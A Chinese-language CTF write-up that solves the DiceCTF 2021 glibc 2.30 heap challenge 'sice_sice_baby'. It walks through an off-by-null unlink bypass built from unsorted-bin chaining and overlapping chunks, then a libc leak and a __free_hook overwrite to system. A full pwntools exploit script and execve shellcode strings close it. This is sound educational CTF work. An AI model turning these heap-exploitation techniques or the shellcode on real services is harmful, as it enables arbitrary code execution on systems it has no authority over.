堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制)

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2021_Dice_ctf_sice_sice_baby

一道glibc堆题,比赛的时候4支队伍做出来,大佬如果看了前边明白意思,可以绕过~~~

比较麻烦的一个堆题

 

基本信息

对应的环境 GLIBC_2.30

保护

程序功能

一道标准的菜单题

总共四个选项

add功能

只能是小于0xe8的堆块

4040偏移位置记录size,4380偏移记录ptr,41e0记录标志位

delete 功能

正常的delete

edit功能

检查了idx和堆指针,输入的字节数按位与3要为0,还有一个off-null

show功能

检查标志位 、idx 、 堆指针

并且根据标志位只有edit之后才能进行show

漏洞

漏洞就是edit功能的off-by-null

根据之前做题的经验,off-by-null还是要进行过度的向上合并造成堆块重叠,其中我们需要主要标志位、size=pre_size、fd bk检查等等

但是很少有人做出来的原因在于堆块申请大小的限制,而且还没有办法触发malloc_condidate,堆的布局不好构造

下面通过调试分析一下具体是如何造成堆块重叠的

 

调试分析

总体的思想

1、准备好辅助堆块和功能堆块

2、利用off-by-null 使得最后想要向上合并的chunk(下文的57号堆)的presize保持不变

3、利用unsortbin成链使得将要被合并的堆块留下fd 、 bk都在堆地址附近(下文的50号堆)

4、利用unsortbin成链机制想办法在50号的bk对应堆的fd指向50号附近

5、利用unsortbin成链机制想办法在50号的fd对应堆的bk指向50号附近

6、利用off-by-null 结构将4 5 中堆末尾的偏移覆盖成null ,使得其确实指向50号堆块

7、伪造size , 删除57号chunk , 进行unlink 造成堆块重叠

1、

脚本的最开始首先进行了很多堆块的分配

    claim(0x88)# 0-6
    claim(0x98)# 7-13
    claim(0xa8)# 14-20
    claim(0xb8)# 21-27
    claim(0xc8)# 28-34
    claim(0xd8)# 35-41
    claim(0xe8)# 42-48

    #--------------------------
    add(0x98)# 49
    edit(49,'A'*8)
    add(0x98)# 50

    add(0x18)# 51
    add(0xa8)# 52    0

    add(0xb8)# 53     1
    add(0xd8)# 54     2
    add(0xd8)# 55

    edit(54,"A"*8)

    add(0xe8)# 56     3
    pay = p64(0x200) + p64(0xe0)
    # print len(pay)
    # pause()
    edit(56,pay)# 这里因为2.30中 从,unsortedbin 中卸下,malloc的时候也会检查next_size  
    #-------------------------
    add(0xe8)# 57    4
    add(0x98)# 58
    add(0xe8)# 59
    add(0x18)# 60

在unsortdbin中分配堆块是需要绕过这两个check,所以脚本中对56号堆块写了p64(0x200)+p64(0xe0)

这里起始就是两个部分(辅助和功能堆块)

其中辅助chunk是用来填充tcache的,我们知道想用到off-by-null还是要将tcache填满才行,

48-60是功能性堆块,其中<u>57号</u>是后面进行向上合并的关键。

之后进行一系列的delete

    #-------------------------
    #--tcache
    for i in range(0,7):#0x88
        delete(i)
    for i in range(14,21):#0xa8
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)
    for i in range(35,42):#0xd8
        delete(i)
    for i in range(42,49):#0xe8
        delete(i)    
    #--tcache



    for i in range(52,57):
        delete(i)
    #----------------------------

生成一个大的unsortedbin

程序执行到这里会是一个unsorted bin,大小为0x421

总体分布情况

2、

之后先处理辅助chunk,申请了几个0x98

    claim(0x88)
    claim(0xa8)
    claim(0xb8)
    claim(0xd8)
    claim(0xe8)

    #---------------------------------------------------------------- 上面是一个大的unsorted bin
    add(0x98)# 52   进行add之后unsortedbin 被放入了largebin 之后进行了分配
    add(0x98)# 53
    pay = 0x98 * "a"
    # # pause()
    # debug([0x1629])

    edit(53,pay)# off - by - null  这里做个对比吧
    add(0x88)#54
    add(0x88)#55
    add(0xd8)#56

这里有个0x98的off-by-null

我们调试一下

在进行edit之前的堆块情况

进行edit之后

将size进行了减少

这里是为了在57号堆块的pre_size上进行留存,57号的pre_size就不变了

之后进行的三行分配正好将0x200消耗完(下面的54 55 56)

此时的总体堆块分布

这里的54号堆块是之后要写heap地址 ,用来绕过unlink的check的

进行到当前这步,堆块的情况如下

因为这个堆块是unsortedbin 分配来的,所以残留着libc地址(但是并没有什么用),我们希望将其改成heap地址

3、

之后又进行了一轮delete

    #------tcache
    for i in range(7,14):#0x98
        delete(i)
    for i in range(0,7):#0x88
        delete(i)
    for i in range(42,49):#0xe8
        delete(i)        


    #------tcache



    delete(50)#0x98
    delete(54)
    delete(59)#0xe8
    delete(53)

这轮delete算是比较关键的一轮,因为它将54号堆块放在了unsortedbin链的中间位置,造成了这个fd bk都是heap地址,这里的fd、bk地址之后如果可以指向0xb00我们就绕过了unlink检测(下面主要做了这件事)

看一下堆的情况(这里可能地址对不上,因为调试了两次,可以看最后三位偏移理解)

因为后面delete(53),所以这里进行了合并0x131大小

对应的堆总体分布是

我个人理解这一步是为了将54号堆块写上heap的fd、bk,脚本中写的是50 与 59附近的,那么之后肯定会50和59堆上保留类似heap,绕过fd bk检测

之后的操作,这里就根据之前的堆块情况进行对比

    #---------------add back
    claim(0x88)
    claim(0x98)
    claim(0xe8)
    #---------------add back


    add(0xd8)# 0x32  将几个unsortedbin 分别放入对应的smallbin 选择0xe8的进行分配  原来的59号
    add(0xb8)# 0x35  0x131的smallbin切分



    #---将55号放入unsortedbin
    for i in range(0,7):#0x88
        delete(i)
    delete(55)
    claim(0x88)
    #---将55号放入unsortedbin , 扩大原来的53 54 unsortedbin




    add(0xb8)#0x36
    add(0x98)#0x37   这个是smallbin  这个是原来的50
    add(0x38)#0x3b   0x36+0x3b正好清空unsortedbin

堆的总体情况(左边是之前的,右边是现在的)

这里应该是进行重新的分配,方便修改原来54号堆块上的数据

4、

之后的操作

    #------tcache
    for i in range(42,49):#0xe8
        delete(i)        
    for i in range(7,14):#0x98
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)
    #------tcache

    delete(0x37)
    delete(0x36)
    delete(0x32)
    delete(58)#这里58 和 0x32形成一个大的unsortedbin
    pause()

此时堆块的情况

整体的堆分布情况

这里完成了一次写入,也就是unlink检查绕过的bk部分(经过off-by-null敲除0xb20中的20就是全部)

之后是一系列的申请

    claim(0x98)
    claim(0xb8)
    claim(0xe8)

    add(0xc8)#最大的里面分割   0x32
    add(0xb8)#0xc1分配              0x36
    add(0xb8)#最大的里面分割        0x37  
    add(0x98)#0xa1分配            58  这个是原来的50



    #--top_chunk
    add(0x98)        #0x3d
    add(0x98)        #0x3e
    add(0x18)        #0x3f

堆块的整体分布

5、

这里完成了第二次写入

之后的delete

    for i in range(7,14):#0x98
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)

    delete(0x3e)  #0x98
    delete(58)  #原来的50号
    delete(0x36)  #0xb8
    delete(49)#应该是3个unsortbin    49 58合并成一个大的
    pause()

此时的堆块情况

目前的堆块情况

经过这次的delete , unlink的检测基本上绕过完毕bk fd ->0x20+位置

继续操作

    claim(0xb8)
    claim(0x98)
    #----------------------------------------------------
    add(0xb8) #49
    add(0x98) #0x36  这两个都是直接分配

    add(0xc8)#0x3a
    add(0x68)#0x3e   这两个是0x141的切割

此时的整体heap

6、

之后又到了关键的一步,将bk、fd 尾部的0x20,利用0ff-by-null敲掉

    partial_null_write = 0x98*'b'
    partial_null_write += p64(0xf1)
    edit(0x32,partial_null_write)


    partial_null_write = 0xa8*'c'
    edit(0x3a,partial_null_write)

利用off-by-null去掉0x20

edit 前后对比图

edit前

edit 后

这样就绕过了unlink检测,算是绕过了最大的难题

7、

然后伪造fake_size

    fake_chunk_size = 0x98*'d'
    fake_chunk_size += p64(0x2e1)

    edit(0x35,fake_chunk_size)

然后进行delete造成重叠

    for i in range(42,49):#0xe8
        delete(i)    
    raw_input("overlap")
    delete(57) #最后进行上合并的堆块

堆块重叠之后一切就好搞了

泄露堆上残留的libc并且打free_hook

    add(0xd8)
    show(0x3b)
    data = uu64(r(6))
    lg('data',data)
    addr = data - 0x7f9c8b652be0 + 0x7f9c8b468000
    lg('addr',addr)

    #---------------------------------------------------------------------------------
    claim(0xe8)
    add(0xe8)#0x40
    delete(0x2b)
    delete(0x3b)
    edit(0x40,p64(addr+libc.sym['__free_hook']-8))
    add(0xe8)
    add(0xe8)
    edit(0x3b,"/bin/sh\x00"+p64(addr+libc.sym['system']))
    delete(0x3b)

 

总结

难度不是特别大,但是就是有点麻烦

​ 起始之前遇到过2.29以上的堆块off-by-null,但是之前没有申请大小的限制,所以用的largebin去残留heap地址进而绕过unlink检测,这次加了限制之后就比较复杂,利用unsortbin成链去绕过的unlink,总体来说还是学到了很多,复习了很多glibc知识,菜还是菜了,希望文章对大家有用~~~

 

exp

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './sice_sice_baby'
#elf = ELF(prog)
p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
# p = remote("124.70.197.50", 9010)
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def choice(idx):
    sla("> ",str(idx))

def add(sz):
    choice(1)
    sla("> ",sz)
      # qword_4380[v4] = malloc(v3);
      # dword_4040[v4] = v3;
      # dword_41E0[v4] = 0;
    # sla('Content:',con)
def delete(idx):#no pointer check
    choice(2)
    sla("> ",idx)

    # free((void *)qword_4380[v2]);
    # qword_4380[v2] = 0LL;
    # dword_4040[v2] = 0;
    # dword_41E0[v2] = 0;

def edit(idx,con):
    choice(3)
    sla("> ",idx)
    # sla('update?',addr)
    sa("> ",con)
    # *(_BYTE *)(qword_4380[v2] + v3) = 0;
    # dword_41E0[v2] = 1;


def show(idx):
    choice(4)
    sla("> ",idx)
# v2 <= 0x63 && dword_41E0[v2] == 1 && qword_4380[v2]

def claim(sz):
    for i in range(7):
        add(sz)


def exp():
    claim(0x88)# 0-6
    claim(0x98)# 7-13
    claim(0xa8)# 14-20
    claim(0xb8)# 21-27
    claim(0xc8)# 28-34
    claim(0xd8)# 35-41
    claim(0xe8)# 42-48

    #--------------------------
    add(0x98)# 49
    edit(49,'A'*8)
    add(0x98)# 50

    add(0x18)# 51
    add(0xa8)# 52    0

    add(0xb8)# 53     1
    add(0xd8)# 54     2
    add(0xd8)# 55

    edit(54,"A"*8)

    add(0xe8)# 56     3
    pay = p64(0x200) + p64(0xe0)
    # print len(pay)
    # pause()
    edit(56,pay)# 这里因为2.30中 从,unsortedbin 中卸下,malloc的时候也会检查next_size  
    #-------------------------
    # debug([0x13B8])

    add(0xe8)# 57    4
    add(0x98)# 58
    add(0xe8)# 59
    add(0x18)# 60


    #-------------------------
    #--tcache
    for i in range(0,7):#0x88
        delete(i)
    for i in range(14,21):#0xa8
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)
    for i in range(35,42):#0xd8
        delete(i)
    for i in range(42,49):#0xe8
        delete(i)    
    #--tcache



    for i in range(52,57):
        delete(i)
    #----------------------------

    claim(0x88)
    claim(0xa8)
    claim(0xb8)
    claim(0xd8)
    claim(0xe8)

    #---------------------------------------------------------------- 上面是一个大的unsorted bin
    add(0x98)# 52   进行add之后unsortedbin 被放入了largebin 之后进行了分配
    add(0x98)# 53
    pay = 0x98 * "a"
    # # pause()
    # debug([0x1629])

    edit(53,pay)# off - by - null  这里做个对比吧
    add(0x88)#54     -0x2e0位置
    add(0x88)#55
    add(0xd8)#56
    pause()#0x55916a587df0
    #----------------------------------------------------------------
    #------tcache
    for i in range(7,14):#0x98
        delete(i)
    for i in range(0,7):#0x88
        delete(i)
    for i in range(42,49):#0xe8
        delete(i)        


    #------tcache





    delete(50)#0x98
    delete(54)
    delete(59)#0xe8
    delete(53)


    raw_input('c1')


    #---------------add back
    claim(0x88)
    claim(0x98)
    claim(0xe8)
    #---------------add back


    add(0xd8)# 0x32  将几个unsortedbin 分别放入对应的smallbin 选择0xe8的进行分配  原来的59号
    add(0xb8)# 0x35  0x131的smallbin切分



    #---将55号放入unsortedbin
    for i in range(0,7):#0x88
        delete(i)
    delete(55)
    claim(0x88)
    #---将55号放入unsortedbin , 扩大原来的53 54 unsortedbin




    add(0xb8)#0x36
    add(0x98)#0x37   这个是smallbin  这个是原来的50
    add(0x38)#0x3b   0x36+0x3b正好清空unsortedbin

    pause()






    #------tcache
    for i in range(42,49):#0xe8
        delete(i)        
    for i in range(7,14):#0x98
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)
    #------tcache

    delete(0x37)
    delete(0x36)
    delete(0x32)
    delete(58)#这里58 和 0x32形成一个大的unsortedbin
    pause()

    claim(0x98)
    claim(0xb8)
    claim(0xe8)

    add(0xc8)#最大的里面分割   0x32
    add(0xb8)#0xc1分配              0x36
    add(0xb8)#最大的里面分割        0x37  
    add(0x98)#0xa1分配            58  这个是原来的50



    #--top_chunk
    add(0x98)        #0x3d
    add(0x98)        #0x3e
    add(0x18)        #0x3f
    #----------------------------------------------------
    for i in range(7,14):#0x98
        delete(i)
    for i in range(21,28):#0xb8
        delete(i)

    delete(0x3e)  #0x98
    delete(58)  #原来的50号
    delete(0x36)  #0xb8
    delete(49)#应该是3个unsortbin    49 58合并成一个大的
    raw_input('c2')


    claim(0xb8)
    claim(0x98)
    #----------------------------------------------------
    add(0xb8) #49
    add(0x98) #0x36  这两个都是直接分配

    add(0xc8)#0x3a
    add(0x68)#0x3e   这两个是0x141的切割


    #---------------------------------------------------------------------------------
    partial_null_write = 0x98*'b'
    partial_null_write += p64(0xf1)
    debug([0x1629])
    edit(0x32,partial_null_write)

    pause()
    partial_null_write = 0xa8*'c'
    edit(0x3a,partial_null_write)

    fake_chunk_size = 0x98*'d'
    fake_chunk_size += p64(0x2e1)

    edit(0x35,fake_chunk_size)

    for i in range(42,49):#0xe8
        delete(i)    
    raw_input("overlap")
    delete(57) #最后进行上合并的堆块
    edit(0x3b,"e"*8)
    add(0xd8)
    show(0x3b)
    data = uu64(r(6))
    lg('data',data)
    addr = data - 0x7f9c8b652be0 + 0x7f9c8b468000
    lg('addr',addr)

    #---------------------------------------------------------------------------------
    claim(0xe8)
    add(0xe8)#0x40
    delete(0x2b)
    delete(0x3b)
    edit(0x40,p64(addr+libc.sym['__free_hook']-8))
    add(0xe8)
    add(0xe8)
    edit(0x3b,"/bin/sh\x00"+p64(addr+libc.sym['system']))
    delete(0x3b)










    # dbg()
    it()
if __name__ == '__main__':
    exp()

 

参考

https://gitlab.com/hkraw/ctf_/-/blob/master/dicectf-2021/sice_sice_baby

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